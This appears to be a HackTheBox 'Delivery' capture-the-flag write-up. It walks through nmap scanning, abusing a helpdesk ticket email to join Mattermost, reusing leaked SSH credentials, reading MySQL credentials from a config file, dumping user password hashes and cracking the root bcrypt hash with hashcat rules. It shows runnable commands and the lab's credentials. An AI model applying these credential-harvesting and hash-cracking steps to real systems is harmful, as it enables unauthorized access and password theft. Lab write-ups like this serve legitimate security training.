Hello and welcome to another chapter in my HackTheBox writeup series. Today’s challenge is “Delivery”.


Jump to Section


and awaaay we go! Target IP is, so let’s start with some (N)mappin’

─$ sudo nmap -sS -A
[sudo] password for kali:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-26 15:50 EST
Nmap scan report for
Host is up (0.095s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
|   256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_  256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
1   93.30 ms
2   94.48 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.86 seconds

Scan results yield a web server (port 80) and an SSH server (port 22). Let’s first check out the web server. On the main page I see a link to a new subdomain helpdesk.delivery.htb. (You may need to scroll to the right in the snippet below to see what I am referring to.)

<p><!--[-->The best place to get all your email related support <!--]--><br />
								<!--[-->For an account check out our <a href="http://helpdesk.delivery.htb">helpdesk</a><!--]--></p>

Add this to the /etc/hosts file and then navigate to helpdesk.delivery.htb in the browser. On this new site I see what appears to be some sort of IT Help Desk support portal. If I create a new ticket (I can do this without a pre-existing account), I get a confirmation which has both an email address and a ticket number.


You may check the status of your ticket, by navigating to the Check Status page using ticket id: 1497526.

If you want to add more information to your ticket, just email 1497526@delivery.htb.


Support Team


I can monitor the status of the previously created ticket within the portal by using the email address and ticket number provided to me in the confirmation. I’ll keep the window open that has this status information available.

Back on the main delivery.htb site, there is a link to a different portal “Mattermost” (listening on port 8065). Using Mattermost, I can register for an account using the email I received when I opened the ticket (the id#@delivery.htb) as well as a username and password of my choosing. Once done, the confirmation email will be sent to the ticket I created earlier as a status update. I can simply refresh the status of that ticket and I will see a confirmation link like the one shown below.


Clicking on this link I am presented with a very revealing chat history. In this chat I see not only SSH credentials for a user account named maildeliverer but I also see a hint about another password. This tip describes hashcat rules which may assist in cracking the hashed password. This gives us an idea of what to look for as we go for root on the box.

9:25 AM

@root joined the team.
9:28 AM
@root updated the channel display name from: Town Square to: Internal
9:29 AM

@developers Please update theme to the OSTicket before we go live.  Credentials to the server are maildeliverer:Youve_G0t_Mail!

Also please create a program to help us stop re-using the same passwords everywhere.... Especially those that are a variant of "PleaseSubscribe!"
10:58 AM

PleaseSubscribe! may not be in RockYou but if any hacker manages to get our hashes, they can use hashcat rules to easily crack all variations of common words or phrases.

Let’s try using the SSH creds from the chat…

└─$ ssh maildeliverer@                                                                                                            130 ⨯ 1 ⚙
maildeliverer@'s password:
Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jan  5 06:09:50 2021 from

Bingo! User.


Alright, now as maildeliverer, let’s take a look around the file system. I got in through the Mattermost app so it makes sense to see what else this app has to offer on the local system. I find a number of “mattermost” related directories (as shown below).

maildeliverer@Delivery:~$ find / -name mattermost 2>/dev/null

Inside /opt/mattermost i find a config file which reveals some mysql credentials.

SqlSettings": {
        "DriverName": "mysql",
        "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
        "DataSourceReplicas": [],
        "DataSourceSearchReplicas": [],

I can then use these mysql creds to jump into the mysql instance. Inside, I see a mattermost database with a “Users” table. Dumping this table I get some usernames and… password hashes!

maildeliverer@Delivery:/opt/mattermost/config$ mysql -h localhost -u mmuser -pCrack_The_MM_Admin_PW
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 210
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
| Database           |
| information_schema |
| mattermost         |
2 rows in set (0.000 sec)

MariaDB [(none)]> use mattermost;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mattermost]> show tables;
| Tables_in_mattermost   |
| Audits                 |
| Bots                   |
| ChannelMemberHistory   |
| ChannelMembers         |
| Channels               |
| ClusterDiscovery       |
| CommandWebhooks        |
| Commands               |
| Compliances            |
| Emoji                  |
| FileInfo               |
| GroupChannels          |
| GroupMembers           |
| GroupTeams             |
| IncomingWebhooks       |
| Jobs                   |
| Licenses               |
| LinkMetadata           |
| OAuthAccessData        |
| OAuthApps              |
| OAuthAuthData          |
| OutgoingWebhooks       |
| PluginKeyValueStore    |
| Posts                  |
| Preferences            |
| ProductNoticeViewState |
| PublicChannels         |
| Reactions              |
| Roles                  |
| Schemes                |
| Sessions               |
| SidebarCategories      |
| SidebarChannels        |
| Status                 |
| Systems                |
| TeamMembers            |
| Teams                  |
| TermsOfService         |
| ThreadMemberships      |
| Threads                |
| Tokens                 |
| UploadSessions         |
| UserAccessTokens       |
| UserGroups             |
| UserTermsOfService     |
| Users                  |
46 rows in set (0.001 sec)

MariaDB [mattermost]> select Username,Password from Users;
| Username                         | Password                                                     |
| evil                             | $2a$10$QXvgO259JKkTSXYQvSLk7ue3InvrsxM5wPVuT5ywrjHDM1XG.9Ary |
| surveybot                        |                                                              |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| channelexport                    |                                                              |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
8 rows in set (0.000 sec)

Using the password variant hint and the earlier mention of “hashcat” as a guide, I create a password list using the best64.rule haschat .rule file.

hashcat -r /usr/share/hashcat/rules/best64.rule --stdout clue > password.txt

I now run hashcat against the root hash pulled from mysql with the newly generated wordlist and a few seconds later…

└─$ hashcat -m 3200 hash password.txt                                           
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: pthread-Intel(R) Core(TM) i7-4870HQ CPU @ 2.50GHz, 1407/1471 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 65 MB

Dictionary cache built:
* Filename..: password.txt
* Passwords.: 77
* Bytes.....: 1177
* Keyspace..: 77
* Runtime...: 0 secs


Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v...JwgjjO
Time.Started.....: Tue Jan 26 17:12:02 2021 (0 secs)
Time.Estimated...: Tue Jan 26 17:12:02 2021 (0 secs)
Guess.Base.......: File (password.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       55 H/s (8.82ms) @ Accel:8 Loops:16 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 32/77 (41.56%)
Rejected.........: 0/32 (0.00%)
Restore.Point....: 0/77 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1008-1024
Candidates.#1....: PleaseSubscribe! -> PleaseSubscribs

Started: Tue Jan 26 17:12:00 2021
Stopped: Tue Jan 26 17:12:04 2021